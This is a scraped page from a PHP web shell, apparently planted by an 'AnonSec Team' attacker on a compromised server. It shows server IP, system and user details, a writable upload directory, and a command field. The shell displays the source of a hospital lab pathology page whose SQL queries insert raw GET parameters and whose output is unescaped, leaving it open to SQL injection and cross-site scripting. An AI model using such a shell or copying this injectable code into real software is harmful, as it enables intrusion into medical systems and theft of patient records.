Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.188.4.83
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/www/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/www/login.easenup.in/lab_showpathlogy.php
<?php session_start();
require_once("../patientmanager.php");
require_once("../DBManager.php");
include("dbconnection.php");
?>

 
    <table id="example2" class="table table-bordered table-hover">
                  <thead>
                 <div class='card-header d-flex p-0'>
                    <ul class='nav nav-pills ml-auto p-2'>
                        <tr>
         <th><strong>Investigation Details</strong></th>
          <th><strong>Specimen </strong></th>
              <th><strong>Value</strong></th>
              <th><strong>Result</strong></th> 
          <th><strong>Report</strong></th>
          </tr>
 
<?php
include("dbconnection.php");
		$sql ="SELECT * FROM investigation WHERE  prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' And Investigation_type='Pathology' AND Priority_slip='Urgent'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		$sqlpatient1 = "SELECT * FROM list_Investigation WHERE ivid='$rs[ivid]'";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
	while($rsn = mysqli_fetch_array($qsqlpatient1))
	{
            echo "<tr style='background-color:#FFF2F2'>
    <td><b>Created At :</b>$rs[created_at]
    <br><b>Raised_at :</b> $rs[Raised_at]<br><b>Investigation type :</b>&nbsp; &nbsp;";	
            $sqlpatient1 = "SELECT * FROM list_Investigation WHERE ivid='$rs[ivid]'";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
	while($rsn = mysqli_fetch_array($qsqlpatient1))
	{
	    echo"
	    $rsn[Investigation]"; }
	    echo"</td>";
 if ($rs[Result]=='Done')
{
 echo"<td>Report Created</td> ";
}
else if(is_numeric($rs[Result]))
{
    echo"<td>Specimen Collected<br>Container Number :$rs[Result]</td>";
}else {
 echo"<td><u><a href='create_sample.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&ivid=$rs[ivid]'>Collect sample </a></u></td> ";
}
    echo"
       <td>$rs[Value]</td>"; 
        if (is_numeric($rs[Result]))
{

echo"<td>Pending</td>
        ";
        }else
{
    echo"<td>$rs[Result]</td>";
}

    $DisplayForm=True;
$sql1 ="SELECT * FROM pathreportfinal WHERE requesttestid='$rs[id]'";
		$qsql1 = mysqli_query($con,$sql1);
		while($rh1 = mysqli_fetch_array($qsql1))
		{
	$DisplayForm=False;
echo "";
}
if($DisplayForm)
{
      echo"
    <td> <u><a href='createreport.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&id=$rs[id]'>Create Result </a></u><br><br><u><a href='upload_path_report.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&id=$rs[id]'> Upload Report</a></u></span>
                    </td>  </tr>  ";
      }
      
      else{
          echo "<td><a href='createreport.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&id=$rs[id]' target='_blank'>View Result</a><br><br><u><a href='upate_report.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&id=$rs[id]'> Update Report</a></u></span><br><br><u><a href='upload_path_report.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&id=$rs[id]'> Upload Report</a></u></span></td></tr>  ";
}
}
}
?>
 
<?php
include("dbconnection.php");
		$sql ="SELECT * FROM investigation WHERE  prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' And Investigation_type='Pathology' AND Priority_slip='Normal'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo "<tr>
    <td><b>Created At :</b>$rs[created_at]
    <br><b>Raised_at :</b> $rs[Raised_at]<br><b>Investigation type :</b>$rs[Investigation_type]-";	
            $sqlpatient1 = "SELECT * FROM list_Investigation WHERE ivid='$rs[ivid]'";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
	while($rsn = mysqli_fetch_array($qsqlpatient1))
	{
	    echo"
	    $rsn[Investigation]"; }
	    echo"</td>
     ";
 if ($rs[Result]=='Done')
{
 echo"<td>Report Created</td> ";
}
else if(is_numeric($rs[Result]))
{
    echo"<td>Specimen Collected<br>Container Number :$rs[Result]</td>";
}else {
 echo"<td><u><a href='create_sample.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&ivid=$rs[ivid]'>Collect sample </a></u></td> ";
}
    echo"
      
       <td>$rs[Value]</td> 
    ";
        if (is_numeric($rs[Result]))
{

echo"<td>Pending</td>
        ";
        }else
{
    echo"<td>$rs[Result]</td>";
}

    $DisplayForm=True;
$sql1 ="SELECT * FROM pathreportfinal WHERE requesttestid='$rs[id]'";
		$qsql1 = mysqli_query($con,$sql1);
		while($rh1 = mysqli_fetch_array($qsql1))
		{
	$DisplayForm=False;
echo "";
}
if($DisplayForm)
{
      echo"
    <td> <u><a href='createreport.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&id=$rs[id]'>Create Result </a></u><br><br><u><a href='upload_path_report.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&id=$rs[id]'> Upload Report</a></u></span>
                    </td>  </tr>  ";
      }
      
      else{
          echo "<td><a href='createreport.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&id=$rs[id]' target='_blank'>View Result</a><br><br><u><a href='upate_report.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&id=$rs[id]'> Update Report</a></u></span><br><br><u><a href='upload_path_report.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&id=$rs[id]'> Upload Report</a></u></span></td></tr>  ";
}
}

?>  

</div>
 

Anon7 - 2022
AnonSec Team